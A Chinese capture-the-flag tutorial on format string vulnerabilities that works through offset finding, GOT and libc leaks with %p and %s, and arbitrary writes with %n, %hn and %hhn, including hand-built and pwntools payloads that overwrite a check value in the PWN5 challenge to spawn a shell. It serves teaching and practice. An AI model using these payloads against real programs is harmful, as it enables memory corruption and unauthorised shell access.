关于格式化字符串

admin 2024年1月11日11:13:04评论8 views字数 3211阅读10分42秒阅读模式

一、偏移怎么算

简单的是输入aaaa加若干个-%x,直到出现-61616161为止,算上这个和前面的总共有多少项偏移就是多少。

关于格式化字符串

比方说这个,偏移就是6。下面写法相同。

关于格式化字符串

有时候可能读入限制比较短,可能没法这样像上面那样测试偏移,那就用gdb。

关于格式化字符串

在printf之前输入aaaa作为示例,看这个位置(执行流到printf的时候),计算这个61616161到sp的距离,如果是64位的话,那算上这位再加六就是偏移量,32位不加。

关于格式化字符串

↑(其实就是注意看那个栈最左边的数字)像这个就是7。

二、泄露数据

当我们开了elf或者要泄露libc或者栈地址的时候,可以利用偏移泄露。

%p,%x都是直接泄露栈上的值,但%s是泄露地址上指向的值(比如got,直接用%p的话他只会把got再给你输出一次)

printf_got=0x804BFC8io.recvuntil(talk)io.sendline(p32(printf_got)+b'%7$p')

关于格式化字符串

这个0x804bfc8就是他把got原封不动给你再输出来一次,%p是这样的。

我们现在知道got的地址,同时用刚才的方法测算出来偏移是8,那我们可以利用%s来输出got中的内容。

上述python代码直接把%7$p换成%7$s即可

关于格式化字符串

可以看出这个xe0x3fxc5xf7就是我们要的答案。

写个接收即可。

io.recvuntil(p32(printf_got))printf=u32(io.recv(4))print('printf:',hex(printf))

关于格式化字符串

剩下的还有泄露栈,libc等。libc可以用栈上的libc start call main去找

关于格式化字符串

最下面的这个就是libc相关地址,而且异地也是稳定能报出来。

栈的话,利用ebp那一位就存着栈的特性去泄露。

三、任意地址修改

这个的话,直接用他的fmtstr_payload去分析就行。

io.recvuntil(menu)io.sendline(b'3')payload=fmtstr_payload(7,{game_ret:0x17})#game_ret=0xffdee0dcio.sendline(payload)

fmtstrpayload格式就不多说了,(offset,{addr:value})即可,意思就是把目标地址改成value。

这里要讲一下%n,那么%n的话是直接覆盖四个字节(从你offset上那一位开始往后4位),%hn呢是两个,%hhn是一个。作用都不同。

那么他生成的这个payload是这样的

关于格式化字符串

大致意思是啥呢,首先是%23c,就相当于等量地替换23个字符(实际上都给你换成空格了),你写%多少c他就换成多少,那%offset$n意思就是,把栈偏移位置指向的值,修改成前面字符量(后面会详细说明哪些计入字符哪些不计入)。

对于这道题来说,那就是把偏移9(正常偏移是7,然后关于格式化字符串这俩占两个偏移)的位置上也就是关于格式化字符串的值改成关于格式化字符串(0x17)。

%value c里面这个value只支持十进制格式,不能用16进制输入,所以只能23不能0x17。

用经典的buu上的[第五空间2019 决赛]PWN5来举例。

int __cdecl main(int a1){  unsigned int v1; // eax  int result; // eax  int fd; // [esp+0h] [ebp-84h]  char nptr[16]; // [esp+4h] [ebp-80h] BYREF  char buf[100]; // [esp+14h] [ebp-70h] BYREF  unsigned int v6; // [esp+78h] [ebp-Ch]  int *v7; // [esp+7Ch] [ebp-8h]  v7 = &a1;  v6 = __readgsdword(0x14u);  setvbuf(stdout, 0, 2, 0);  v1 = time(0);  srand(v1);  fd = open("/dev/urandom", 0);  read(fd, &dword_804C044, 4u);  printf("your name:");  read(0, buf, 0x63u);  printf("Hello,");  printf(buf);  printf("your passwd:");  read(0, nptr, 0xFu);  if ( atoi(nptr) == dword_804C044 )  {    puts("ok!!");    system("/bin/sh");  }  else  {    puts("fail");  }  result = 0;  if ( __readgsdword(0x14u) != v6 )    sub_80493D0();  return result;}

大概就这么简单,读到比对位上一个真随机数,然后给你一个格式化字符串漏洞让你把他值改成固定值。

关于格式化字符串

先测偏移,算出来是10个。

事实上这题直接改成0就行了,但是为了演示改成0xdead。

先看fmtstrpayload工具。

payload=fmtstr_payload(10,{0x804C044:0xdead})

关于格式化字符串

他的操作是分开做的,首先用%n来让整个4位清零。(他%ad是173)

然后此时0x804c044上的四位已经变成xadx00x00x00了。

然后用hhn把ad的下一位改成ed。这里注意,每次修改值的时候都得从小到大,因为每次之前的%c都是计入在内的。例如上面的0xad是173(十六进制转换成十进制),0xde为222,但由于前面的%173c已经计入在内了,所以说再加%49c就行了,其中那个%16$n是不计入字符的。

然后此时0x804c045被改成0xde。

现在0x804c044上是xadxdex00x00了。

但任意其他字符也会计算在内,比如我可以这么写:

b'%173c%16$na%48c%17$hhnaa'+p32(0x804c044)+p32(0x804c045)

关于格式化字符串

效果是这样的,也可以修改比对值为0xdead。

当然给我们自己写也可以先写0x804c044,但要注意的是因为每次写进去了两个p32(这是要计算为字符的!)所以说得把后面的第一个值减掉8(结果是165c):

addr=0x804c044payload=flat(addr,addr+1)+b'%'+str(0xad-8).encode('utf-8')+b'c%10$n%'+str(0xde-0xad).encode('utf-8')+b'c%11$hhn'

这句话初学可能很难看懂,但我们看结果。

关于格式化字符串

这个其实跟fmtstrpayload工具构造出来的格式化攻击串思路是完全相同的,但只不过是把p32(0x804c044)+p32(0x804c045)放前面了。现在只不过偏移发生变化了,由于偏移为10,我们的p32第一位就是偏移为10,直接%10$n,后面是%11$hhn。变化不大。

关于格式化字符串

取得shell,上面说的任意一种fmtstr构造都是可以的。

当然这是对于栈上字符串的,但对于非栈上字符串有一个最关键的点也就是无法把固定值写到栈上,利用%offset n的偏移无法找到你需要修改的地址。那么这样的情况下,我们就要利用一些栈来间接修改某位置的值了。这里不做详细展开。

关于格式化字符串

例如本题笔者想要修改0xff87e45c的值,事实上这个栈指向的是返回值,当这个返回值被改为题目中的后门函数时即可解决问题。那思路是什么呢?(以下省略0xff87e4,直接用末尾代表称谓)

我们从结果出发,若要修改0x5c的值,那必须有一个栈指向0x5c。

那我们如果把0x58的值——最后一位0x68改成l0x5c,那就完成了第一个任务。

然后我们如果想要修改0x58的值,我们发现正好有一个栈指向它!那就是ebp上的那一位,0x38。所以说,我们可以利用现有的0x38先完成上述的任务,那就有指向0x5c的位置了,需要修改返回值的任务就迎刃而解了。

如果还有什么问题的话欢迎提问,有缺漏错误欢迎指出,感谢阅读。

原文始发于微信公众号(UKFC安全):关于格式化字符串

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日11:13:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于格式化字符串http://cn-sec.com/archives/2217607.html

发表评论

匿名网友 填写信息